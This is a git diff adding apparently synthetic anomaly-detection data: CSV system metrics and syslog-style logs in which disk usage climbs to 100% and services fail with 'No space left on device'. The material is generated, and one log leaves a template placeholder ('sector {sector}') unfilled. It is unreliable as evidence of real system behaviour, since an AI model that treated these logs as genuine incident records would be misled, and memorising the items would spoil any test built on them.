+2025-07-02T10:00:35Z,16.53,40.78,36.5,0.79,1.02 +2025-07-02T10:00:40Z,14.06,40.02,36.38,0.63,1.22 +2025-07-02T10:00:45Z,16.09,39.3,38.79,0.5,1.08 +2025-07-02T10:00:50Z,14.07,35.75,35.03,0.71,1.23 +2025-07-02T10:00:55Z,14.07,38.74,38.11,0.97,1.4 +2025-07-02T10:01:00Z,15.48,38.97,37.69,0.84,1.68 +2025-07-02T10:01:05Z,11.17,37.59,41.32,0.55,0.83 +2025-07-02T10:01:10Z,11.55,39.52,37.44,0.83,1.84 +2025-07-02T10:01:15Z,13.88,41.21,38.01,0.88,0.61 +2025-07-02T10:01:20Z,12.97,45.66,38.99,0.62,1.15 +2025-07-02T10:01:25Z,15.63,40.52,37.32,0.83,1.38 +2025-07-02T10:01:30Z,13.18,40.77,40.33,0.81,1.28 +2025-07-02T10:01:35Z,12.18,39.78,40.6,0.57,1.01 +2025-07-02T10:01:40Z,17.93,34.24,42.59,0.87,1.14 +2025-07-02T10:01:45Z,14.55,39.92,43.49,0.91,1.05 +2025-07-02T10:01:50Z,15.14,40.18,46.41,1.02,1.02 +2025-07-02T10:01:55Z,12.15,47.39,45.64,1.01,1.45 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+2025-07-02T10:05:20Z,16.63,40.88,66.91,0.56,1.49 +2025-07-02T10:05:25Z,17.71,37.86,68.39,0.73,1.16 +2025-07-02T10:05:30Z,14.86,45.6,67.73,0.71,0.95 +2025-07-02T10:05:35Z,17.01,41.42,71.0,0.67,1.1 +2025-07-02T10:05:40Z,15.72,36.43,73.1,1.15,1.32 +2025-07-02T10:05:45Z,13.71,41.97,74.89,0.88,1.03 +2025-07-02T10:05:50Z,15.72,37.08,84.41,0.55,0.95 +2025-07-02T10:05:55Z,18.08,42.36,89.38,0.98,1.27 +2025-07-02T10:06:00Z,14.93,43.48,82.21,1.22,1.27 +2025-07-02T10:06:05Z,18.13,37.54,83.36,1.01,1.05 +2025-07-02T10:06:10Z,9.76,42.89,87.03,0.5,1.06 +2025-07-02T10:06:15Z,16.64,41.24,76.92,0.7,1.27 +2025-07-02T10:06:20Z,15.17,42.47,77.99,1.05,0.77 +2025-07-02T10:06:25Z,14.4,45.69,76.63,0.66,0.78 +2025-07-02T10:06:30Z,15.18,39.26,81.28,0.89,0.98 +2025-07-02T10:06:35Z,11.02,37.74,81.15,0.95,1.14 +2025-07-02T10:06:40Z,14.56,37.33,85.8,0.61,1.29 +2025-07-02T10:06:45Z,15.71,37.55,87.03,0.79,1.64 +2025-07-02T10:06:50Z,17.96,39.77,86.76,0.15,1.46 +2025-07-02T10:06:55Z,13.96,41.02,89.09,0.6,1.15 +2025-07-02T10:07:00Z,13.38,40.83,89.96,0.75,1.19 +2025-07-02T10:07:05Z,14.0,42.48,99.91,0.55,0.9 +2025-07-02T10:07:10Z,16.83,40.04,100.0,1.13,1.19 +2025-07-02T10:07:15Z,15.66,44.36,98.52,0.51,1.11 +2025-07-02T10:07:20Z,13.94,39.21,100.0,0.71,1.3 +2025-07-02T10:07:25Z,16.03,48.16,99.2,0.83,0.95 diff --git a/anom_dataset/scenario_3/anom_3_26.log b/anom_dataset/scenario_3/anom_3_26.log new file mode 100644 index 0000000000000000000000000000000000000000..4cfd9cd9e00716659e8a0c6f8cace8988928f312 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_26.log @@ -0,0 +1,44 @@ +Jul 02 10:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:00:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:00:45 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:00 systemd[1]: Started Session 12 of user ubuntu. +Jul 02 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:01:30 systemd[1]: Started Session 18 of user ubuntu. +Jul 02 10:01:45 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:02:00 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:02:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:30 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:02:45 systemd[1]: Started Session 33 of user ubuntu. +Jul 02 10:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:15 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:03:45 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:04:00 systemd[1]: Started Session 48 of user ubuntu. +Jul 02 10:04:15 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:04:30 systemd[1]: Started Session 54 of user ubuntu. +Jul 02 10:04:45 systemd[1]: Started Session 57 of user ubuntu. +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:30 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:05:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:05:55 log-rotator[8765]: ERROR Cannot rotate logs. Target partition is full. +Jul 02 10:06:00 systemd[1]: Started Session 72 of user ubuntu. +Jul 02 10:06:10 systemd-journald[345]: Failed to write entry, ignoring: No space left on device +Jul 02 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:06:30 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:06:40 app-server[5432]: PANIC Application shutting down. Cannot write to critical log file /var/log/app/fatal.log +Jul 02 10:06:45 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:07:00 systemd-journald[345]: Failed to write entry, ignoring: No space left on device +Jul 02 10:07:05 kernel: [11234.5678] print_req_error: I/O error, dev sda, sector 123456 +Jul 02 10:07:05 systemd-journald[345]: Failed to write entry, ignoring: No space left on device +Jul 02 10:07:10 app-server[5432]: PANIC Application shutting down. Cannot write to critical log file /var/log/app/fatal.log +Jul 02 10:07:10 log-rotator[8765]: ERROR Cannot rotate logs. Target partition is full. +Jul 02 10:07:15 kernel: [11234.5678] print_req_error: I/O error, dev sda, sector 123456 +Jul 02 10:07:15 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:07:15 postgres[1234]: CRITICAL could not write to temporary file: No space left on device +Jul 02 10:07:20 app-server[5432]: ERROR Failed to write session data: No space left on device +Jul 02 10:07:20 app-server[5432]: PANIC Application shutting down. Cannot write to critical log file /var/log/app/fatal.log +Jul 02 10:07:25 app-server[5432]: ERROR Failed to write session data: No space left on device +Jul 02 10:07:25 app-server[5432]: ERROR Failed to write session data: No space left on device diff --git a/anom_dataset/scenario_3/anom_3_27.csv b/anom_dataset/scenario_3/anom_3_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..fb62056e8cef7a6eac3079ae810a1967d9527b64 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,19.57,45.57,19.87,1.3,0.95 +2025-07-02T11:00:05Z,23.54,40.72,21.84,0.91,1.35 +2025-07-02T11:00:10Z,19.76,44.79,22.0,0.79,1.37 +2025-07-02T11:00:15Z,24.36,47.88,22.86,0.94,1.55 +2025-07-02T11:00:20Z,21.39,46.07,24.33,0.73,1.15 +2025-07-02T11:00:25Z,21.95,47.46,25.4,1.04,1.42 +2025-07-02T11:00:30Z,19.33,45.22,26.76,1.1,1.31 +2025-07-02T11:00:35Z,21.79,46.46,24.98,1.17,1.33 +2025-07-02T11:00:40Z,24.16,43.07,26.37,0.83,1.56 +2025-07-02T11:00:45Z,23.76,45.73,28.09,1.09,1.15 +2025-07-02T11:00:50Z,18.03,43.6,28.35,1.01,1.4 +2025-07-02T11:00:55Z,18.9,47.16,28.53,1.21,1.02 +2025-07-02T11:01:00Z,22.71,42.32,29.54,1.25,1.55 +2025-07-02T11:01:05Z,19.62,43.21,31.37,1.07,1.25 +2025-07-02T11:01:10Z,21.82,42.83,32.01,0.77,1.25 +2025-07-02T11:01:15Z,22.73,43.29,33.88,0.81,1.24 +2025-07-02T11:01:20Z,21.56,40.76,34.25,1.12,0.97 +2025-07-02T11:01:25Z,24.21,45.84,34.0,1.26,1.14 +2025-07-02T11:01:30Z,20.05,41.36,36.01,1.12,0.94 +2025-07-02T11:01:35Z,24.39,47.16,38.26,0.94,1.48 +2025-07-02T11:01:40Z,21.26,44.85,38.02,0.85,0.98 +2025-07-02T11:01:45Z,18.43,42.14,39.53,0.96,0.9 +2025-07-02T11:01:50Z,20.09,43.42,40.25,0.84,1.41 +2025-07-02T11:01:55Z,22.78,45.75,41.95,1.0,1.5 +2025-07-02T11:02:00Z,22.99,40.07,40.19,0.82,0.9 +2025-07-02T11:02:05Z,19.08,47.71,42.35,0.95,1.33 +2025-07-02T11:02:10Z,22.9,43.03,42.17,1.05,1.34 +2025-07-02T11:02:15Z,19.9,45.41,44.83,1.0,1.15 +2025-07-02T11:02:20Z,24.26,40.41,45.48,1.19,1.3 +2025-07-02T11:02:25Z,19.07,47.31,46.43,0.71,1.05 +2025-07-02T11:02:30Z,22.47,42.98,46.22,1.0,1.32 +2025-07-02T11:02:35Z,18.74,41.74,47.76,0.81,1.4 +2025-07-02T11:02:40Z,18.82,46.97,49.21,0.75,1.39 +2025-07-02T11:02:45Z,18.05,41.98,50.12,0.94,1.27 +2025-07-02T11:02:50Z,24.78,44.7,51.61,0.91,1.08 +2025-07-02T11:02:55Z,20.56,40.78,50.01,0.88,1.31 +2025-07-02T11:03:00Z,18.22,40.63,53.05,0.95,1.2 +2025-07-02T11:03:05Z,20.86,43.34,51.89,0.79,0.92 +2025-07-02T11:03:10Z,21.04,40.09,55.39,1.13,1.21 +2025-07-02T11:03:15Z,24.33,41.78,56.45,0.85,1.23 +2025-07-02T11:03:20Z,21.32,46.62,55.32,1.1,1.02 +2025-07-02T11:03:25Z,21.31,41.76,58.19,1.27,1.1 +2025-07-02T11:03:30Z,18.01,42.27,56.62,0.99,1.03 +2025-07-02T11:03:35Z,19.1,47.43,59.06,1.25,1.07 +2025-07-02T11:03:40Z,23.42,46.26,58.21,0.86,1.3 +2025-07-02T11:03:45Z,23.31,40.43,61.82,1.1,0.98 +2025-07-02T11:03:50Z,23.39,45.26,61.67,0.77,1.07 +2025-07-02T11:03:55Z,21.57,45.09,63.09,1.1,1.41 +2025-07-02T11:04:00Z,24.79,44.31,61.87,0.73,1.09 +2025-07-02T11:04:05Z,18.33,43.72,65.28,0.89,1.24 +2025-07-02T11:04:10Z,21.06,46.72,65.26,0.72,1.26 +2025-07-02T11:04:15Z,22.3,45.03,66.77,1.15,1.43 +2025-07-02T11:04:20Z,19.07,40.0,65.35,0.9,1.0 +2025-07-02T11:04:25Z,22.07,45.28,66.93,0.93,1.58 +2025-07-02T11:04:30Z,23.97,40.43,67.23,0.77,1.19 +2025-07-02T11:04:35Z,22.27,47.42,68.49,0.91,0.94 +2025-07-02T11:04:40Z,22.77,46.32,69.95,1.21,1.42 +2025-07-02T11:04:45Z,23.24,40.13,72.46,0.9,1.2 +2025-07-02T11:04:50Z,18.95,40.65,72.76,0.73,0.95 +2025-07-02T11:04:55Z,18.57,40.79,71.97,1.22,1.37 +2025-07-02T11:05:00Z,22.22,46.34,72.83,0.72,1.23 +2025-07-02T11:05:05Z,19.86,47.15,74.47,0.83,1.18 +2025-07-02T11:05:10Z,22.84,40.59,76.22,1.17,1.16 +2025-07-02T11:05:15Z,20.81,43.08,75.33,0.99,1.23 +2025-07-02T11:05:20Z,22.09,40.15,77.86,0.74,1.39 +2025-07-02T11:05:25Z,24.77,47.82,79.2,0.86,1.08 +2025-07-02T11:05:30Z,20.5,46.89,79.2,0.7,1.49 +2025-07-02T11:05:35Z,21.35,44.78,81.34,1.2,0.94 +2025-07-02T11:05:40Z,22.78,43.36,82.58,1.24,1.45 +2025-07-02T11:05:45Z,19.74,45.9,81.5,0.81,1.39 +2025-07-02T11:05:50Z,24.85,47.81,96.75,1.12,0.96 +2025-07-02T11:05:55Z,22.9,42.48,97.16,0.72,1.13 +2025-07-02T11:06:00Z,18.41,41.95,98.49,1.28,1.24 +2025-07-02T11:06:05Z,19.38,42.88,100.0,1.14,1.38 +2025-07-02T11:06:10Z,18.12,41.54,100.0,0.93,1.17 +2025-07-02T11:06:15Z,21.64,44.62,87.99,0.99,1.05 +2025-07-02T11:06:20Z,23.82,40.82,88.46,0.73,1.18 +2025-07-02T11:06:25Z,22.55,47.18,89.84,0.84,1.12 +2025-07-02T11:06:30Z,20.64,44.79,89.39,0.81,1.2 +2025-07-02T11:06:35Z,24.19,42.73,92.02,0.72,1.21 +2025-07-02T11:06:40Z,22.11,44.05,91.36,0.81,1.55 +2025-07-02T11:06:45Z,21.05,44.61,91.55,0.81,1.07 +2025-07-02T11:06:50Z,22.11,40.27,93.58,1.24,0.92 +2025-07-02T11:06:55Z,23.09,45.19,95.57,1.11,1.21 +2025-07-02T11:07:00Z,23.49,41.95,96.25,1.29,1.27 +2025-07-02T11:07:05Z,22.02,41.74,94.97,1.05,1.26 +2025-07-02T11:07:10Z,22.22,44.26,96.41,1.12,1.28 +2025-07-02T11:07:15Z,20.96,43.06,98.98,1.01,1.36 +2025-07-02T11:07:20Z,20.89,47.88,97.96,1.17,1.5 +2025-07-02T11:07:25Z,18.04,42.47,100.0,1.25,1.21 diff --git a/anom_dataset/scenario_3/anom_3_27.log b/anom_dataset/scenario_3/anom_3_27.log new file mode 100644 index 0000000000000000000000000000000000000000..9fc840b2e9e8c9d9abb8e1e5ede96426f6c220fb --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_27.log @@ -0,0 +1,65 @@ +Jul 02 11:00:05 web-server[11283]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 11:00:20 data-processor[11250]: INFO Processing batch of 100 records. +Jul 02 11:00:25 systemd[1]: Started Session 42 of user logging. +Jul 02 11:00:40 db-writer[11301]: DEBUG Committing transaction with 5 inserts. +Jul 02 11:00:55 web-server[11283]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 11:01:10 data-processor[11250]: INFO Processing batch of 100 records. +Jul 02 11:01:15 CRON[12501]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:30 db-writer[11301]: DEBUG Committing transaction with 5 inserts. +Jul 02 11:01:45 web-server[11283]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 11:02:00 data-processor[11250]: INFO Processing batch of 100 records. +Jul 02 11:02:05 data-processor[11250]: INFO Successfully processed and stored batch. +Jul 02 11:02:20 db-writer[11301]: DEBUG Committing transaction with 5 inserts. +Jul 02 11:02:35 web-server[11283]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 11:02:50 data-processor[11250]: INFO Processing batch of 100 records. +Jul 02 11:03:10 db-writer[11301]: DEBUG Committing transaction with 5 inserts. +Jul 02 11:03:20 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:03:25 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:03:30 data-processor[11250]: WARNING Log file /var/log/data-processor.log is now 5MB. Consider rotation. +Jul 02 11:03:35 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:03:40 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:03:45 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:03:50 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:03:55 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:04:00 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:04:05 data-processor[11250]: WARNING Log file /var/log/data-processor.log is now 5MB. Consider rotation. +Jul 02 11:04:10 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:04:15 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:04:20 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:04:25 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:04:30 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:04:35 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:04:40 data-processor[11250]: WARNING Log file /var/log/data-processor.log is now 5MB. Consider rotation. +Jul 02 11:04:45 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:04:50 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:04:55 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:05:00 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:05:05 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:05:10 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:05:15 data-processor[11250]: WARNING Log file /var/log/data-processor.log is now 5MB. Consider rotation. +Jul 02 11:05:20 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:05:25 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:05:30 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:05:35 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:05:40 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:05:45 web-server[11283]: INFO GET /api/v1/metrics HTTP/1.1 200 +Jul 02 11:05:50 web-server[11283]: ERROR Cannot create new session file in /var/tmp/: [Errno 28] No space left on device +Jul 02 11:05:55 db-writer[11301]: CRITICAL Database transaction failed and rolled back. Reason: Unable to extend data file. [Errno 28] No space left on device. +Jul 02 11:06:00 db-writer[11301]: ERROR Failed to write to journal file: [Errno 28] No space left on device +Jul 02 11:06:05 data-processor[11250]: CRITICAL Could not write output file /data/processed/output_73.csv: [Errno 28] No space left on device +Jul 02 11:06:10 web-server[11283]: ERROR Cannot create new session file in /var/tmp/: [Errno 28] No space left on device +Jul 02 11:06:15 db-writer[11301]: CRITICAL Database transaction failed and rolled back. Reason: Unable to extend data file. [Errno 28] No space left on device. +Jul 02 11:06:20 db-writer[11301]: ERROR Failed to write to journal file: [Errno 28] No space left on device +Jul 02 11:06:25 data-processor[11250]: CRITICAL Could not write output file /data/processed/output_77.csv: [Errno 28] No space left on device +Jul 02 11:06:30 web-server[11283]: ERROR Cannot create new session file in /var/tmp/: [Errno 28] No space left on device +Jul 02 11:06:35 db-writer[11301]: CRITICAL Database transaction failed and rolled back. Reason: Unable to extend data file. [Errno 28] No space left on device. +Jul 02 11:06:40 db-writer[11301]: ERROR Failed to write to journal file: [Errno 28] No space left on device +Jul 02 11:06:45 data-processor[11250]: CRITICAL Could not write output file /data/processed/output_81.csv: [Errno 28] No space left on device +Jul 02 11:06:50 web-server[11283]: ERROR Cannot create new session file in /var/tmp/: [Errno 28] No space left on device +Jul 02 11:06:55 db-writer[11301]: CRITICAL Database transaction failed and rolled back. Reason: Unable to extend data file. [Errno 28] No space left on device. +Jul 02 11:07:00 db-writer[11301]: ERROR Failed to write to journal file: [Errno 28] No space left on device +Jul 02 11:07:05 data-processor[11250]: CRITICAL Could not write output file /data/processed/output_85.csv: [Errno 28] No space left on device +Jul 02 11:07:10 web-server[11283]: ERROR Cannot create new session file in /var/tmp/: [Errno 28] No space left on device +Jul 02 11:07:15 db-writer[11301]: CRITICAL Database transaction failed and rolled back. Reason: Unable to extend data file. [Errno 28] No space left on device. +Jul 02 11:07:20 db-writer[11301]: ERROR Failed to write to journal file: [Errno 28] No space left on device +Jul 02 11:07:25 data-processor[11250]: CRITICAL Could not write output file /data/processed/output_89.csv: [Errno 28] No space left on device diff --git a/anom_dataset/scenario_3/anom_3_28.csv b/anom_dataset/scenario_3/anom_3_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..8d0f1f01d528b04fcf7114d811b15eb04b74fb1c --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,21.49,40.19,28.77,0.7,1.95 +2025-07-02T10:00:05Z,19.59,41.94,33.93,1.22,1.69 +2025-07-02T10:00:10Z,21.94,38.6,30.06,0.78,1.47 +2025-07-02T10:00:15Z,24.57,39.34,30.54,0.52,1.53 +2025-07-02T10:00:20Z,19.3,39.22,34.88,1.15,1.3 +2025-07-02T10:00:25Z,19.3,37.07,35.12,0.68,1.1 +2025-07-02T10:00:30Z,24.74,40.59,35.66,1.44,1.23 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+2025-07-02T10:07:15Z,20.99,42.91,99.2,1.21,1.94 +2025-07-02T10:07:20Z,18.41,39.47,100.0,1.16,1.94 +2025-07-02T10:07:25Z,21.54,45.44,98.31,0.78,1.49 diff --git a/anom_dataset/scenario_3/anom_3_28.log b/anom_dataset/scenario_3/anom_3_28.log new file mode 100644 index 0000000000000000000000000000000000000000..34aadef45dd904f336b8393b7a0e7da4d189dccb --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_28.log @@ -0,0 +1,38 @@ +Jul 02 10:00:00 sshd[11015]: Accepted publickey for ubuntu from 192.168.1.101 port 43419 ssh2 +Jul 02 10:00:20 sshd[17633]: Accepted publickey for ubuntu from 192.168.1.101 port 50357 ssh2 +Jul 02 10:00:40 kubelet[18461]: INFO routine sync completed for pod web-app-clone +Jul 02 10:01:00 nginx[12470]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:01:20 sshd[14051]: Accepted publickey for ubuntu from 192.168.1.101 port 46949 ssh2 +Jul 02 10:01:40 kubelet[11209]: INFO routine sync completed for pod web-app-clone +Jul 02 10:02:00 nginx[19564]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:02:20 sshd[15388]: Accepted publickey for ubuntu from 192.168.1.101 port 44300 ssh2 +Jul 02 10:02:40 cron[13234]: (root) CMD (/usr/local/bin/some_script.sh) +Jul 02 10:03:00 cron[7238]: (root) CMD (/usr/local/bin/some_script.sh) +Jul 02 10:03:20 cron[19271]: (root) CMD (/usr/local/bin/some_script.sh) +Jul 02 10:03:40 cron[12314]: (root) CMD (/usr/local/bin/some_script.sh) +Jul 02 10:04:00 systemd[1]: Started Session 5 of user ubuntu. +Jul 02 10:04:20 systemd[1]: Started Session 9 of user ubuntu. +Jul 02 10:04:40 systemd[1]: Starting Daily apt upgrade activities... +Jul 02 10:05:00 nginx[15178]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:05:20 systemd[1]: Finished Daily apt upgrade activities. +Jul 02 10:05:30 log-rotator[17748]: ERROR failed to rotate logs for /var/log/app.log: No space left on device +Jul 02 10:05:40 systemd[1]: Finished Daily apt upgrade activities. +Jul 02 10:05:45 kernel: print_req_error: I/O error, dev sda, sector {sector} +Jul 02 10:05:55 kubelet[14503]: WARN failed to write pod event: No space left on device +Jul 02 10:06:00 kernel: print_req_error: I/O error, dev sda, sector {sector} +Jul 02 10:06:05 app-writer[17509]: ERROR failed to write record: No space left on device +Jul 02 10:06:15 kubelet[8561]: WARN failed to write pod event: No space left on device +Jul 02 10:06:20 kernel: print_req_error: I/O error, dev sda, sector {sector} +Jul 02 10:06:25 app-writer[13910]: ERROR failed to write record: No space left on device +Jul 02 10:06:30 kubelet[7738]: WARN failed to write pod event: No space left on device +Jul 02 10:06:35 log-rotator[16679]: ERROR failed to rotate logs for /var/log/app.log: No space left on device +Jul 02 10:06:40 app-writer[15277]: ERROR failed to write record: No space left on device +Jul 02 10:06:45 postgres[2605]: PANIC: could not write to file "pg_wal/xlogtemp.tmp": No space left on device +Jul 02 10:06:50 app-writer[11589]: ERROR failed to write record: No space left on device +Jul 02 10:06:55 postgres[3590]: PANIC: could not write to file "pg_wal/xlogtemp.tmp": No space left on device +Jul 02 10:07:00 kubelet[6342]: INFO routine sync completed for pod web-app-clone +Jul 02 10:07:10 log-rotator[14917]: ERROR failed to rotate logs for /var/log/app.log: No space left on device +Jul 02 10:07:15 log-rotator[6560]: ERROR failed to rotate logs for /var/log/app.log: No space left on device +Jul 02 10:07:20 postgres[16385]: PANIC: could not write to file "pg_wal/xlogtemp.tmp": No space left on device +Jul 02 10:07:25 postgres[10333]: PANIC: could not write to file "pg_wal/xlogtemp.tmp": No space left on device +Jul 02 10:07:25 app-writer[13819]: CRITICAL Service shutting down, cannot write to disk. diff --git a/anom_dataset/scenario_3/anom_3_29.csv b/anom_dataset/scenario_3/anom_3_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..15f8f033232b2b551399c4c24d1ffb1bfc31ba0b --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_29.csv @@ -0,0 +1,91 @@ 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+2025-07-03T14:04:55Z,19.27,40.5,70.39,0.94,1.18 +2025-07-03T14:05:00Z,20.93,37.73,73.53,1.07,0.8 +2025-07-03T14:05:05Z,22.05,44.89,75.38,0.71,1.31 +2025-07-03T14:05:10Z,21.77,38.64,73.86,0.87,1.33 +2025-07-03T14:05:15Z,19.43,35.26,77.78,0.55,1.08 +2025-07-03T14:05:20Z,17.06,40.04,78.13,1.23,1.4 +2025-07-03T14:05:25Z,23.98,35.25,79.73,0.91,1.42 +2025-07-03T14:05:30Z,23.16,38.84,80.06,0.78,1.56 +2025-07-03T14:05:35Z,21.22,36.12,81.67,0.88,1.28 +2025-07-03T14:05:40Z,20.74,39.4,83.87,0.81,1.34 +2025-07-03T14:05:45Z,22.82,45.0,85.55,1.21,1.1 +2025-07-03T14:05:50Z,17.21,35.97,85.97,0.94,1.09 +2025-07-03T14:05:55Z,23.74,40.05,86.29,0.8,1.15 +2025-07-03T14:06:00Z,18.88,39.43,86.77,0.5,1.46 +2025-07-03T14:06:05Z,20.54,37.67,86.28,0.73,1.17 +2025-07-03T14:06:10Z,20.37,35.97,88.62,0.78,1.33 +2025-07-03T14:06:15Z,20.08,36.96,89.84,0.5,1.05 +2025-07-03T14:06:20Z,22.2,36.78,91.54,0.69,1.29 +2025-07-03T14:06:25Z,21.09,39.19,90.99,1.08,1.29 +2025-07-03T14:06:30Z,22.97,37.01,95.37,1.04,1.18 +2025-07-03T14:06:35Z,18.4,42.46,94.19,1.09,1.27 +2025-07-03T14:06:40Z,21.89,41.28,99.14,0.85,1.15 +2025-07-03T14:06:45Z,19.76,40.46,96.97,0.77,0.89 +2025-07-03T14:06:50Z,18.51,42.52,97.06,1.29,0.94 +2025-07-03T14:06:55Z,16.83,39.87,96.02,0.87,1.25 +2025-07-03T14:07:00Z,17.85,42.52,97.15,0.63,1.27 +2025-07-03T14:07:05Z,16.46,36.3,100.0,0.8,1.59 +2025-07-03T14:07:10Z,20.52,41.05,100.0,0.56,1.32 +2025-07-03T14:07:15Z,19.08,37.59,100.0,0.72,1.37 +2025-07-03T14:07:20Z,17.02,39.58,100.0,0.59,1.33 +2025-07-03T14:07:25Z,21.36,39.01,100.0,0.5,1.2 diff --git a/anom_dataset/scenario_3/anom_3_29.log b/anom_dataset/scenario_3/anom_3_29.log new file mode 100644 index 0000000000000000000000000000000000000000..e0a237dd8f7c95a683ce2ba8a07d31340605f2c6 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_29.log @@ -0,0 +1,30 @@ +Jul 03 14:00:00 server-1 systemd[1]: Started Session 0 of user ubuntu. +Jul 03 14:00:50 server-1 nginx[10007]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 14:01:40 server-1 kubelet[10015]: INFO Successfully probed container metrics-collector +Jul 03 14:02:30 server-1 systemd[1]: Started Session 30 of user ubuntu. +Jul 03 14:03:20 server-1 kubelet[10019]: INFO Successfully probed container metrics-collector +Jul 03 14:03:20 server-1 app-worker[10023]: WARNING: Log file /var/log/app/application.log is over 1GB and growing. +Jul 03 14:04:00 server-1 log-archiver[10026]: WARN: High disk write latency detected on /dev/sda1. +Jul 03 14:04:10 server-1 cron[10030]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 03 14:04:40 server-1 log-archiver[10033]: WARN: High disk write latency detected on /dev/sda1. +Jul 03 14:05:00 server-1 systemd[1]: Started Session 60 of user ubuntu. +Jul 03 14:05:50 server-1 kubelet[10048]: INFO Successfully probed container metrics-collector +Jul 03 14:05:50 server-1 mysql-backup.sh[10049]: Failed to create database dump. I/O error occurred: No space left on device +Jul 03 14:05:55 server-1 kernel: pid=10050, comm=java, writing to /var/lib/data/huge.db: No space left on device +Jul 03 14:06:00 server-1 nginx[10051]: [crit] 10051#0: *126 open() "/var/lib/nginx/body/0000000001" failed (28: No space left on device) +Jul 03 14:06:05 server-1 data-importer[10053]: ERROR: Failed to write record to temporary file /tmp/import_batch.tmp: No space left on device +Jul 03 14:06:10 server-1 mysql-backup.sh[10054]: Failed to create database dump. I/O error occurred: No space left on device +Jul 03 14:06:15 server-1 nginx[10056]: [crit] 10056#0: *126 open() "/var/lib/nginx/body/0000000001" failed (28: No space left on device) +Jul 03 14:06:25 server-1 systemd-journald[10058]: Failed to write entry, ignoring: No space left on device +Jul 03 14:06:30 server-1 data-importer[10059]: ERROR: Failed to write record to temporary file 